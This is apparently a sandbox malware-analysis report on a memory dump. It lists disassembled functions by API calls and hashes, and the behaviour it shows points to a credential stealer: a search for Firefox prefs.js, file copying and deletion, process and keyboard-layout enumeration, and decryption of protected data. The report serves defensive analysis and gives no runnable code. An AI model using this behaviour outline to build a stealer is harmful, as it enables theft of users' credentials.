Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c6adb345adb7e2846704c781b678d7222340ce1a5573bc94070d00fc0f6ccc5c
Instruction ID: 6a9a10e98d2925735433ebaa3c71219746e2152fca504c99c8449d17a198c30b
Opcode Fuzzy Hash: c6adb345adb7e2846704c781b678d7222340ce1a5573bc94070d00fc0f6ccc5c
Instruction Fuzzy Hash: 18B153B19201089BCB24FF60DD96EFDB378AF54340F4081B8A50E96195EF706B69CF92

Function 002E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0030516C,?,002E1F2C,?,00305214,?,?,00000000,?,00000000), ref: 002E1923
StrCmpCA.SHLWAPI(?,003052BC), ref: 002E1973
StrCmpCA.SHLWAPI(?,00305364), ref: 002E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002E1D40
DeleteFileA.KERNEL32(00000000), ref: 002E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 002E1E20
FindClose.KERNEL32(000000FF), ref: 002E1E32

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Strings

\*.*, xrefs: 002E17F1

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 05cca0ec9a47cb0bf9859ba9f77f522ed03b825e65b24d9a121a2291a22d2047
Instruction ID: 434ebab5a54cdae815f6a494a5f050f300cf3acefa5c9496512649a2b9ab27bf
Opcode Fuzzy Hash: 05cca0ec9a47cb0bf9859ba9f77f522ed03b825e65b24d9a121a2291a22d2047
Instruction Fuzzy Hash: 1112E3B192111C9BDB15EB60CC56AFEB378AF54780F4041B9A60E62091EF706FA9CF91

Function 002EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003014B0,00300C2A), ref: 002EDAEB
StrCmpCA.SHLWAPI(?,003014B4), ref: 002EDB33
StrCmpCA.SHLWAPI(?,003014B8), ref: 002EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 002EDDCC
FindClose.KERNEL32(000000FF), ref: 002EDDDE

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: ee6eb134c2e2e3e01ada76f6e0d4af77f40c3448bf28ec863f23af27901894b9
Instruction ID: cc888fda876a46704b6b56c1d46ce6eaca426b813b9dfa52c8e92d557ded06d8
Opcode Fuzzy Hash: ee6eb134c2e2e3e01ada76f6e0d4af77f40c3448bf28ec863f23af27901894b9
Instruction Fuzzy Hash: 149167B292010897CB14FB70DC56DFDB37DAF94340F408678F90A96195EE74AB298F92

Function 002EE430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00300D73), ref: 002EE4A2
StrCmpCA.SHLWAPI(?,003014F8), ref: 002EE4F2
StrCmpCA.SHLWAPI(?,003014FC), ref: 002EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 002EEBDF

Strings

\*.*, xrefs: 002EE44D
., xrefs: 002EEBF5, 002EE5EB, 002EE71C, 002EE85B, 002EE4B9, 002EE5EE, 002EE71F, 002EE85E

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$.
API String ID: 433455689-643882945
Opcode ID: 53d96ddb866cbf40e1a23e6e790f2f457d13a125080faed53cf8c6df516be4c6
Instruction ID: 8a1f52c6fb8a46730cb133859b950a3bbe5f01db43e3c745b38f634d910a0bb6
Opcode Fuzzy Hash: 53d96ddb866cbf40e1a23e6e790f2f457d13a125080faed53cf8c6df516be4c6
Instruction Fuzzy Hash: CE1231B192011C9ADB15FB60DC96EFDB338AF54780F4041B8B60E96095EE706F69CF92

Function 002F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

GetKeyboardLayoutList.USER32(00000000,00000000,003005AF), ref: 002F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 002F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 002F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 002F7C62
LocalFree.KERNEL32(00000000), ref: 002F7D22

Strings

/ , xrefs: 002F7C7F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 62b67e07ef548befb161404b134bf98a54ae760d994914101e88363fd55c8e9d
Instruction ID: a34e14854b09396f942204630af2dbe66b3bffe3820d0ca6ca9a22a46c95b682
Opcode Fuzzy Hash: 62b67e07ef548befb161404b134bf98a54ae760d994914101e88363fd55c8e9d
Instruction Fuzzy Hash: A6414AB192111CABDB24DB54DC99BFDF374EF54740F2041A9E20A62190DB742F95CFA1

Function 002F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002F961E
Process32First.KERNEL32(00300ACA,00000128), ref: 002F9632
Process32Next.KERNEL32(00300ACA,00000128), ref: 002F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 002F965C
CloseHandle.KERNEL32(00300ACA), ref: 002F967A

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: b0da6958e127f7981cd0d6ade9a8d5da3f5fa8d8eb540ad6c496264d99654c38
Instruction ID: dd4bb6326335d66566d2845ed032f1c67f2b9aa86b2d327d65ee7133830af51e
Opcode Fuzzy Hash: b0da6958e127f7981cd0d6ade9a8d5da3f5fa8d8eb540ad6c496264d99654c38
Instruction Fuzzy Hash: D3010C75A1020CEBCB24DFA5CD48BEDB7F8EF58340F104198AA05D6240DB759B95DF51

Function 002F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,002E5184,40000001,00000000,00000000,?,002E5184), ref: 002F8EC0

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 4837d02e40bd09e3f4968a1013d76845c8730a0eab32e05c51ba47dd79d2acd1
Instruction ID: d3ebb6565d0f9a8bb1989eae4e2e8b8ab36eedc07bac1771b37812b07f854ddf
Opcode Fuzzy Hash: 4837d02e40bd09e3f4968a1013d76845c8730a0eab32e05c51ba47dd79d2acd1
Instruction Fuzzy Hash: C4112E70220209FFDB00CF64D885FB7B3A9AF8A740F109568FA158B250DB75EC55DB61

Function 002E9B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 002E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 002E9BA3
memcpy.MSVCRT(?,?,?), ref: 002E9BC6
LocalFree.KERNEL32(?), ref: 002E9BD3

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 0f72c72d83f57b9d69133a633a6ed6eabd165a603a8156fa78eaaa681a843c78
Instruction ID: dc1add9b294cb1295b5cb0e8be7f82a62d34060ab9dddcf37974b3f26c96ce6f
Opcode Fuzzy Hash: 0f72c72d83f57b9d69133a633a6ed6eabd165a603a8156fa78eaaa681a843c78
Instruction Fuzzy Hash: F31127B8A00209EFCB00DF98D988AAE77B5FF88300F1044A8F815A7350D770AE51CFA1

Function 002F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000), ref: 002F7A63
